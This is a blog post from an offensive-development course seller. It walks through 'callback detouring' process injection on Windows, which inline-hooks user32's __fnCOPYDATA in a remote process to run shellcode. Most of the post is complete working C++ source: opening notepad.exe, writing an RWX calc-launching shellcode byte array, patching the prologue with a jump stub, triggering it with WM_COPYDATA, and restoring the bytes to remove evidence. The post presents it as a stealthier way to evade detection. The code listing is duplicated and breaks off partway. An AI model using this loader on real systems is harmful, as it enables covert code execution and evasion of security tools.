August 4, 2026
Win32 Callback Detouring Injection
Welcome to this new Medium post, in this one we will see an interesting continuation of one of the previous posts where we were talking…

By S12 - 0x12Dark Development
8 min read
Welcome to this new Medium post, in this one we will see an interesting continuation of one of the previous posts where we were talking about the KernelCallbackInjection. This one has a similar approach but with a stealthier variant
This technique comes from this github repository:
https://github.com/n0qword/win32k-callback-detouring/
So if you wanna understand this post, check the previous one because I will not re-explain all the important topics
Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.
0x12 Dark Development Skip to content Join our offensive development courses and modules, and explore the techniques database with 100+ real…
Introduction
If you read the previous post you already know what __fnCOPYDATA is, what the KernelCallbackTable is, and why WM_COPYDATA triggers a kernel callback. This post builds on that
The core difference here is that we do not touch the KernelCallbackTable pointer in the PEB. We still resolve __fnCOPYDATA from the table, but instead of cloning the entire table and redirecting a pointer, we install an inline hook directly on the function itself
Inline hooking means overwriting the first bytes of a function's prologue with a jump stub that redirects execution somewhere else. We save the original bytes first so we can restore them after execution
The jump stub we use is 13 bytes:
mov r10, <absolute_address> ; 49 BA [8 bytes]
jmp r10 ; 41 FF E2mov r10, <absolute_address> ; 49 BA [8 bytes]
jmp r10 ; 41 FF E2This is a position independent absolute jump. We use r10 because it is volatile by calling convention, it does not carry argument data that __fnCOPYDATA needs, and we are not using it before the jump. A relative jmp would require knowing the distance between the hook site and the shellcode at the time of writing
To track hook state, a struct is defined:
#define JMP_SIZE 13
typedef struct _INLINEHOOKTABLE {
PVOID pOriginalFunction;
PVOID pFunctionDetour;
BYTE pObjBytes[JMP_SIZE];
DWORD dwOldProtection;
} INLINEHOOKTABLE, *PINLINEHOOKTABLE;#define JMP_SIZE 13
typedef struct _INLINEHOOKTABLE {
PVOID pOriginalFunction;
PVOID pFunctionDetour;
BYTE pObjBytes[JMP_SIZE];
DWORD dwOldProtection;
} INLINEHOOKTABLE, *PINLINEHOOKTABLE;pObjBytes stores the original 13 bytes before the hook goes in. dwOldProtection stores the original memory protection so we can restore it during cleanup
Methodology
Read the remote PEB and resolve __fnCOPYDATA
We need the exact virtual address of __fnCOPYDATA inside the target process. This address is stored in the KernelCallbackTable. We read the remote PEB via NtQueryInformationProcess, then read the KCT struct via NtReadVirtualMemory
PROCESS_BASIC_INFORMATION pbi;
PEB peb;
KERNELCALLBACKTABLE kct;
NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);PROCESS_BASIC_INFORMATION pbi;
PEB peb;
KERNELCALLBACKTABLE kct;
NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);The KCT pointer in the PEB is not modified at any point. It still points to the original table inside user32.dll
Allocate and write shellcode
We need somewhere to redirect execution. We allocate RWX memory in the remote process and write the payload
NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL);NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL);Initialize the hook
Before writing anything we save the original bytes from __fnCOPYDATA and make the target region writable. user32.dll code is normally PAGE_EXECUTE_READ, we need to temporarily promote it to PAGE_EXECUTE_READWRITE
NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL);
PVOID pBaseAddress = pRemoteFunc;
SIZE_T sRegionSize = JMP_SIZE;
NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize,
PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection);NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL);
PVOID pBaseAddress = pRemoteFunc;
SIZE_T sRegionSize = JMP_SIZE;
NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize,
PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection);Install the inline hook
We patch the prologue of __fnCOPYDATA with the absolute JMP stub pointing to our shellcode
BYTE g_Jump[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
0x41, 0xFF, 0xE2 // jmp r10
};
UINT64 uPatch = (UINT64)(Hook->pFunctionDetour);
RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));
NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL);BYTE g_Jump[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
0x41, 0xFF, 0xE2 // jmp r10
};
UINT64 uPatch = (UINT64)(Hook->pFunctionDetour);
RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));
NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL);From this point __fnCOPYDATA no longer runs its original code. Any thread in the target process that processes a WM_COPYDATA message will jump to our shellcode
Trigger the callback
The hook is passive until the callback fires. We get the target's HWND via EnumThreadWindows and send a WM_COPYDATA message. The kernel dispatches this to the target, which calls __fnCOPYDATA, which is now our stub
HWND hWnd = getHWNDbyPID(pid);
WCHAR msg[] = L"bruh-bruh-bruh";
COPYDATASTRUCT cds = { 1, (DWORD)wcslen(msg) * 2, msg };
SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);HWND hWnd = getHWNDbyPID(pid);
WCHAR msg[] = L"bruh-bruh-bruh";
COPYDATASTRUCT cds = { 1, (DWORD)wcslen(msg) * 2, msg };
SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);Restore original bytes
After execution we restore the saved bytes and the original memory protection. This brings __fnCOPYDATA back to its legitimate state and removes evidence of the patch
NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
NtProtectVirtualMemory(hProcess, &funcBaseAddr, ®ionSize,
Hook->dwOldProtection, &tmpProtection);NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
NtProtectVirtualMemory(hProcess, &funcBaseAddr, ®ionSize,
Hook->dwOldProtection, &tmpProtection);Implementation
The project is split into three remote hook functions plus helper utilities for PID and HWND resolution
InitializeHookRemote takes the handle to the remote process, the address of the function to hook, the detour address, and a pointer to the hook struct. It reads the original bytes and promotes the target region's protection
// Read original bytes, save on the struct and change memory protection to EXECUTE_READWRITE
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {
if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 1;
Hook->pOriginalFunction = pRemoteFunc;
Hook->pFunctionDetour = pRemoteDetour;
if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 1;
PVOID pBaseAddress = pRemoteFunc;
SIZE_T sRegionSize = JMP_SIZE;
if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 1;
return 1;
}// Read original bytes, save on the struct and change memory protection to EXECUTE_READWRITE
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {
if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 1;
Hook->pOriginalFunction = pRemoteFunc;
Hook->pFunctionDetour = pRemoteDetour;
if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 1;
PVOID pBaseAddress = pRemoteFunc;
SIZE_T sRegionSize = JMP_SIZE;
if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 1;
return 1;
}InstallHookRemote builds the 13-byte stub at runtime, patches the absolute address of the detour into bytes 2–9 of the stub, then writes it into the remote process
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;
BYTE g_Jump[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
0x41, 0xFF, 0xE2 // jmp r10
};
UINT64 uPatch = (UINT64)(Hook->pFunctionDetour);
RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));
if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 1;
printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
return 1;
}int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;
BYTE g_Jump[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
0x41, 0xFF, 0xE2 // jmp r10
};
UINT64 uPatch = (UINT64)(Hook->pFunctionDetour);
RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));
if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 1;
printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
return 1;
}RemoveHookRemote writes back the saved original bytes and restores the old protection flags. The execution window where the hook is live is limited to the duration of SendMessageW, which is synchronous
// Restore original bytes and memory protection
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;
ULONG tmpProtection = 0;
PVOID funcBaseAddr = Hook->pOriginalFunction;
SIZE_T regionSize = JMP_SIZE;
NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
NtProtectVirtualMemory(hProcess, &funcBaseAddr, ®ionSize, Hook->dwOldProtection, &tmpProtection);
return (status == STATUS_SUCCESS);
}// Restore original bytes and memory protection
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;
ULONG tmpProtection = 0;
PVOID funcBaseAddr = Hook->pOriginalFunction;
SIZE_T regionSize = JMP_SIZE;
NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
NtProtectVirtualMemory(hProcess, &funcBaseAddr, ®ionSize, Hook->dwOldProtection, &tmpProtection);
return (status == STATUS_SUCCESS);
}getHWNDbyPID snapshots all threads with CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD), iterates to find threads owned by the target PID, then calls EnumThreadWindows with an inline lambda that captures the first visible window handle
HWND getHWNDbyPID(DWORD pid) {
HWND hWnd = NULL;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE) return NULL;
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
if (Thread32First(hSnap, &te32)) {
do {
if (te32.th32OwnerProcessID == pid) {
EnumThreadWindows(te32.th32ThreadID, [](HWND hwnd, LPARAM lp) -> BOOL {
if (IsWindowVisible(hwnd)) {
*(HWND*)lp = hwnd;
return FALSE;
}
return TRUE;
}, (LPARAM)&hWnd);
if (hWnd) break;
}
} while (Thread32Next(hSnap, &te32));
}
CloseHandle(hSnap);
return hWnd;
}HWND getHWNDbyPID(DWORD pid) {
HWND hWnd = NULL;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE) return NULL;
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
if (Thread32First(hSnap, &te32)) {
do {
if (te32.th32OwnerProcessID == pid) {
EnumThreadWindows(te32.th32ThreadID, [](HWND hwnd, LPARAM lp) -> BOOL {
if (IsWindowVisible(hwnd)) {
*(HWND*)lp = hwnd;
return FALSE;
}
return TRUE;
}, (LPARAM)&hWnd);
if (hWnd) break;
}
} while (Thread32Next(hSnap, &te32));
}
CloseHandle(hSnap);
return hWnd;
}Full Code
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include "defs.h"
// https://github.com/n0qword/win32k-callback-detouring
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
using namespace std;
_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
_NtOpenProcessToken NtOpenProcessToken = NULL;
_NtAdjustPrivilegesToken NtAdjustPrivilegesToken = NULL;
_NtClose NtClose = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = NULL;
_NtOpenProcess NtOpenProcess = NULL;
_NtQueryInformationProcess NtQueryInformationProcess = NULL;
_NtReadVirtualMemory NtReadVirtualMemory = NULL;
_NtProtectVirtualMemory NtProtectVirtualMemory = NULL;
_NtWriteVirtualMemory NtWriteVirtualMemory = NULL;
_RtlAllocateHeap RtlMalloc = NULL;
_RtlReAllocateHeap RtlRealloc = NULL;
_RtlFreeHeap RtlFree = NULL;
_RtlCopyMemory RtlCopyMemory = NULL;
_RtlFillMemory RtlFillMemory = NULL;
// Structure to store hook state and original bytes for restoration
#define JMP_SIZE 13
typedef struct _INLANEHOOKTABLE {
PVOID pOriginalFunction;
PVOID pFunctionDetour;
BYTE pObjBytes[JMP_SIZE];
DWORD dwOldProtection;
}INLINEHOOKTABLE, * PINLINEHOOKTABLE;
unsigned char g_CalcSh[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x00";
HWND getHWNDbyPID(DWORD pid) {
HWND hWnd = NULL;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE) return NULL;
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
if (Thread32First(hSnap, &te32)) {
do {
if (te32.th32OwnerProcessID == pid) {
EnumThreadWindows(te32.th32ThreadID, [](HWND hwnd, LPARAM lp) -> BOOL {
if (IsWindowVisible(hwnd)) {
*(HWND*)lp = hwnd;
return FALSE;
}
return TRUE;
}, (LPARAM)&hWnd);
if (hWnd) break;
}
} while (Thread32Next(hSnap, &te32));
}
CloseHandle(hSnap);
return hWnd;
}
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
}
CloseHandle(hSnap);
return pid;
}
// Read original bytes, save on the struct and change memory protection to EXECUTE_READWRITE
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {
if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 1;
Hook->pOriginalFunction = pRemoteFunc;
Hook->pFunctionDetour = pRemoteDetour;
if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 1;
PVOID pBaseAddress = pRemoteFunc;
SIZE_T sRegionSize = JMP_SIZE;
if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 1;
return 1;
}
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;
BYTE g_Jump[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
0x41, 0xFF, 0xE2 // jmp r10
};
UINT64 uPatch = (UINT64)(Hook->pFunctionDetour);
RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));
if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 1;
printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
return 1;
}
// Restore original bytes and memory protection
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;
ULONG tmpProtection = 0;
PVOID funcBaseAddr = Hook->pOriginalFunction;
SIZE_T regionSize = JMP_SIZE;
NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
NtProtectVirtualMemory(hProcess, &funcBaseAddr, ®ionSize, Hook->dwOldProtection, &tmpProtection);
return (status == STATUS_SUCCESS);
}
int main(){
// resolve syscalls
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll) {
NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
NtOpenProcessToken = (_NtOpenProcessToken)GetProcAddress(ntdll, "NtOpenProcessToken");
NtAdjustPrivilegesToken = (_NtAdjustPrivilegesToken)GetProcAddress(ntdll, "NtAdjustPrivilegesToken");
NtClose = (_NtClose)GetProcAddress(ntdll, "NtClose");
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
NtOpenProcess = (_NtOpenProcess)GetProcAddress(ntdll, "NtOpenProcess");
NtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
NtReadVirtualMemory = (_NtReadVirtualMemory)GetProcAddress(ntdll, "NtReadVirtualMemory");
NtProtectVirtualMemory = (_NtProtectVirtualMemory)GetProcAddress(ntdll, "NtProtectVirtualMemory");
NtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(ntdll, "NtWriteVirtualMemory");
RtlMalloc = (_RtlAllocateHeap)GetProcAddress(ntdll, "RtlAllocateHeap");
RtlRealloc = (_RtlReAllocateHeap)GetProcAddress(ntdll, "RtlReAllocateHeap");
RtlFree = (_RtlFreeHeap)GetProcAddress(ntdll, "RtlFreeHeap");
RtlCopyMemory = (_RtlCopyMemory)GetProcAddress(ntdll, "RtlCopyMemory");
RtlFillMemory = (_RtlFillMemory)GetProcAddress(ntdll, "RtlFillMemory");
}
DWORD pid = getPIDbyProcName("notepad.exe");
if (pid == 0) {
cout << "The target process has not found " << endl;
return 1;
}
HANDLE hProcess = NULL;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId = { (HANDLE)pid, 0 };
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
if (NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId) != STATUS_SUCCESS) {
cout << "Error opening process" << endl;
return 1;
}
PROCESS_BASIC_INFORMATION pbi;
PEB peb;
KERNELCALLBACKTABLE kct;
if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS ||
NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS ||
!peb.KernelCallbackTable ||
NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS) {
NtClose(hProcess);
return 1;
}
printf("[+] Remote PEB found @ 0x%p\n", pbi.PebBaseAddress);
printf("[+] KernelCallbackTable @ 0x%p\n", peb.KernelCallbackTable);
printf("[+] _fnCOPYDATA resolved @ 0x%p\n", kct.__fnCOPYDATA);
// Allocate RWX memory and write shellcode into the target process
PVOID remoteShellcodeAddr = NULL;
SIZE_T shellcodeSize = sizeof(g_CalcSh);
if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {
printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);
// Apply inline hook to the __fnCOPYDATA callback
INLINEHOOKTABLE FnCopyDataHook = { 0 };
if (InitializeHookRemote(hProcess, (PVOID)kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
if (InstallHookRemote(hProcess, &FnCopyDataHook)) {
// Trigger execution by sending a message that invokes the hooked callback
printf("[>] trigger kernel callback flag WM_COPYDATA...\n");
WCHAR msg[] = L"bruh-bruh-bruh";
HWND hWnd = getHWNDbyPID(pid);
COPYDATASTRUCT cds = { 1, (DWORD)wcslen(msg) * 2, msg };
SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
// Restore original function to maintain process stability
RemoveHookRemote(hProcess, &FnCopyDataHook);
}
}
}
}
NtClose(hProcess);
printf("[+] Execution finished.\n");
return 0;
}#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include "defs.h"
// https://github.com/n0qword/win32k-callback-detouring
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
using namespace std;
_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
_NtOpenProcessToken NtOpenProcessToken = NULL;
_NtAdjustPrivilegesToken NtAdjustPrivilegesToken = NULL;
_NtClose NtClose = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = NULL;
_NtOpenProcess NtOpenProcess = NULL;
_NtQueryInformationProcess NtQueryInformationProcess = NULL;
_NtReadVirtualMemory NtReadVirtualMemory = NULL;
_NtProtectVirtualMemory NtProtectVirtualMemory = NULL;
_NtWriteVirtualMemory NtWriteVirtualMemory = NULL;
_RtlAllocateHeap RtlMalloc = NULL;
_RtlReAllocateHeap RtlRealloc = NULL;
_RtlFreeHeap RtlFree = NULL;
_RtlCopyMemory RtlCopyMemory = NULL;
_RtlFillMemory RtlFillMemory = NULL;
// Structure to store hook state and original bytes for restoration
#define JMP_SIZE 13
typedef struct _INLANEHOOKTABLE {
PVOID pOriginalFunction;
PVOID pFunctionDetour;
BYTE pObjBytes[JMP_SIZE];
DWORD dwOldProtection;
}INLINEHOOKTABLE, * PINLINEHOOKTABLE;
unsigned char g_CalcSh[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x00";
HWND getHWNDbyPID(DWORD pid) {
HWND hWnd = NULL;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE) return NULL;
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
if (Thread32First(hSnap, &te32)) {
do {
if (te32.th32OwnerProcessID == pid) {
EnumThreadWindows(te32.th32ThreadID, [](HWND hwnd, LPARAM lp) -> BOOL {
if (IsWindowVisible(hwnd)) {
*(HWND*)lp = hwnd;
return FALSE;
}
return TRUE;
}, (LPARAM)&hWnd);
if (hWnd) break;
}
} while (Thread32Next(hSnap, &te32));
}
CloseHandle(hSnap);
return hWnd;
}
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
}
CloseHandle(hSnap);
return pid;
}
// Read original bytes, save on the struct and change memory protection to EXECUTE_READWRITE
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {
if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 1;
Hook->pOriginalFunction = pRemoteFunc;
Hook->pFunctionDetour = pRemoteDetour;
if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 1;
PVOID pBaseAddress = pRemoteFunc;
SIZE_T sRegionSize = JMP_SIZE;
if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 1;
return 1;
}
